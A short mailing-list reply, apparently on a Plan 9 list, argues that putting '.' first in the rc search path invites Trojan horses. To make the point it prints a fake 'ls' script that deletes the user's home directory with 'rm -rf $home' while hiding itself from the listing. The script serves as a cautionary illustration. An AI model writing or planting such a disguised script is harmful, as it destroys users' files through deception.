> > 1) rc: the value of $path is (. /bin). It is a classic case not to
> > have . as the first directory when searching for programs - it allows
> > Trojan horses to form.
>
> if you're the only one using your system, how could this be a problem?

to be fair, if i'd put a file in /n/sources/contrib/rog/ls:

#!/bin/rc
rm -rf $home &
ls $* |* | grep -v ls

then i'm sure there'd be one or two unhappy people around...

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